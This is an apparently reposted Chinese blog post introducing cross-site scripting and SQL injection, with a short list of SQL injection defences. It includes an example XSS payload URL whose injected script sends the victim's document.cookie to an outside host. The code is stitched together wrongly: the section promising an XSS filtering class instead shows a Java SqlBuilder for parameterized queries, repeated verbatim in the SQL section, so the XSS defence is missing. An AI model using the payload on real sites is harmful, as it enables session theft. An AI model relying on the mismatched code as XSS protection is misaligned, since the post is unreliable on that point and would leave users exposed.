当前位置:   article > 正文

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案_sql注入、xss攻击

sql注入、xss攻击

web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见。

对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊

一、跨站脚本攻击(XSS)

跨站脚本攻击的原理

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

跨站脚本攻击的危害:窃取cookie、放蠕虫、网站钓鱼 ...

跨站脚本攻击的分类主要有:存储型XSS、反射型XSS、DOM型XSS

XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。

XSS工作流程

1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:

http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>、参数<script>xxx</script>如果这里没有经过转义处理,则页面中就嵌入了一段script

2)恶意提交这个表单

3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。

如下情况,请求跳转到百度,并将查询到的cookie值也显示出来了

结果将导致:

更详细的Xss原理等知识请参考园内大拿“小坦克”的这篇文章 Web安全测试之XSS

那我们要如何防御Xss?

一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

  1. import java.util.ArrayList;
  2. import java.util.HashMap;
  3. import java.util.List;
  4. import java.util.Map;
  5. public class SqlBuilder {
  6. protected StringBuilder sqlBuf = new StringBuilder();
  7. protected List<Object> values = new ArrayList<Object>();
  8. protected Map<String, Object> paramMap = new HashMap<String, Object>();
  9. public SqlBuilder appendSql(String sql) {
  10. sqlBuf.append(sql);
  11. return this;
  12. }
  13. public SqlBuilder appendValue(Object value) {
  14. sqlBuf.append('?');
  15. values.add(value);
  16. return this;
  17. }
  18. public SqlBuilder appendValues(Object[] values) {
  19. sqlBuf.append('(');
  20. for (int i = 0, c = values.length; i < c; ++i) {
  21. sqlBuf.append('?').append(',');
  22. this.values.add(values[i]);
  23. }
  24. int last = sqlBuf.length() - 1;
  25. if (last > 0 && sqlBuf.charAt(last) == ',') {
  26. sqlBuf.setCharAt(last, ')');
  27. }
  28. return this;
  29. }
  30. public SqlBuilder appendEqParam(String param, Object value) {
  31. sqlBuf.append(param).append(" = :").append(param);
  32. paramMap.put(param, value);
  33. return this;
  34. }
  35. public SqlBuilder appendLtParam(String param, Object value) {
  36. sqlBuf.append(param).append(" < :").append(param);
  37. paramMap.put(param, value);
  38. return this;
  39. }
  40. public SqlBuilder appendGtParam(String param, Object value) {
  41. sqlBuf.append(param).append(" > :").append(param);
  42. paramMap.put(param, value);
  43. return this;
  44. }
  45. public SqlBuilder appendInParam(String param, Object ... values) {
  46. if(values == null) {
  47. return this;
  48. }
  49. sqlBuf.append(param).append(" in (");
  50. int len = values.length;
  51. for(int i = 0; i < len; i++) {
  52. if(i != 0) {
  53. sqlBuf.append(", ");
  54. }
  55. sqlBuf.append(":").append(param).append(i);
  56. paramMap.put(param+i, values[i]);
  57. }
  58. sqlBuf.append(")");
  59. return this;
  60. }
  61. public SqlBuilder appendLikeParam(String param, Object value) {
  62. sqlBuf.append(param).append(" like :").append(param);
  63. paramMap.put(param, "%"+value+"%");
  64. return this;
  65. }
  66. public String getSql() {
  67. return sqlBuf.toString();
  68. }
  69. public Object[] getValues() {
  70. return values.toArray();
  71. }
  72. public Map<String, Object> getParamMap() {
  73. return paramMap;
  74. }
  75. }

 乌云网有很多关于xss报错的bug记录,如http://www.wooyun.org/bugs/wooyun-2010-016779

SQL注入漏洞

SQL注入攻击的原理:

使用用户输入的参数拼凑SQL查询语句,使用户可以控制SQL查询语句。详细关于sql注入的信息请参考:SQL注入攻防入门详解

防御方法

  • 使用预编译语句,
  • 绑定变量
  • 使用安全的存储过程
  • 检查数据类型
  • 使用安全函数

建议方法:不要使用拼接的sql,使用占位符,例如使用JdbcTemplate,

下面给出一种解决方法:用下面的各种函数代替拼接sql的出现

  1. import java.util.ArrayList;
  2. import java.util.HashMap;
  3. import java.util.List;
  4. import java.util.Map;
  5. public class SqlBuilder {
  6. protected StringBuilder sqlBuf = new StringBuilder();
  7. protected List<Object> values = new ArrayList<Object>();
  8. protected Map<String, Object> paramMap = new HashMap<String, Object>();
  9. public SqlBuilder appendSql(String sql) {
  10. sqlBuf.append(sql);
  11. return this;
  12. }
  13. public SqlBuilder appendValue(Object value) {
  14. sqlBuf.append('?');
  15. values.add(value);
  16. return this;
  17. }
  18. public SqlBuilder appendValues(Object[] values) {
  19. sqlBuf.append('(');
  20. for (int i = 0, c = values.length; i < c; ++i) {
  21. sqlBuf.append('?').append(',');
  22. this.values.add(values[i]);
  23. }
  24. int last = sqlBuf.length() - 1;
  25. if (last > 0 && sqlBuf.charAt(last) == ',') {
  26. sqlBuf.setCharAt(last, ')');
  27. }
  28. return this;
  29. }
  30. public SqlBuilder appendEqParam(String param, Object value) {
  31. sqlBuf.append(param).append(" = :").append(param);
  32. paramMap.put(param, value);
  33. return this;
  34. }
  35. public SqlBuilder appendLtParam(String param, Object value) {
  36. sqlBuf.append(param).append(" < :").append(param);
  37. paramMap.put(param, value);
  38. return this;
  39. }
  40. public SqlBuilder appendGtParam(String param, Object value) {
  41. sqlBuf.append(param).append(" > :").append(param);
  42. paramMap.put(param, value);
  43. return this;
  44. }
  45. public SqlBuilder appendInParam(String param, Object ... values) {
  46. if(values == null) {
  47. return this;
  48. }
  49. sqlBuf.append(param).append(" in (");
  50. int len = values.length;
  51. for(int i = 0; i < len; i++) {
  52. if(i != 0) {
  53. sqlBuf.append(", ");
  54. }
  55. sqlBuf.append(":").append(param).append(i);
  56. paramMap.put(param+i, values[i]);
  57. }
  58. sqlBuf.append(")");
  59. return this;
  60. }
  61. public SqlBuilder appendLikeParam(String param, Object value) {
  62. sqlBuf.append(param).append(" like :").append(param);
  63. paramMap.put(param, "%"+value+"%");
  64. return this;
  65. }
  66. public String getSql() {
  67. return sqlBuf.toString();
  68. }
  69. public Object[] getValues() {
  70. return values.toArray();
  71. }
  72. public Map<String, Object> getParamMap() {
  73. return paramMap;
  74. }
  75. }

上面的两种漏洞对于web开发会经常遇到,此外还有拒绝服务攻击漏洞、跨站请求伪造(CSRF)、开放重定向漏洞等等,以后再慢慢学习!!!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/131106
推荐阅读
相关标签
  

闽ICP备14008679号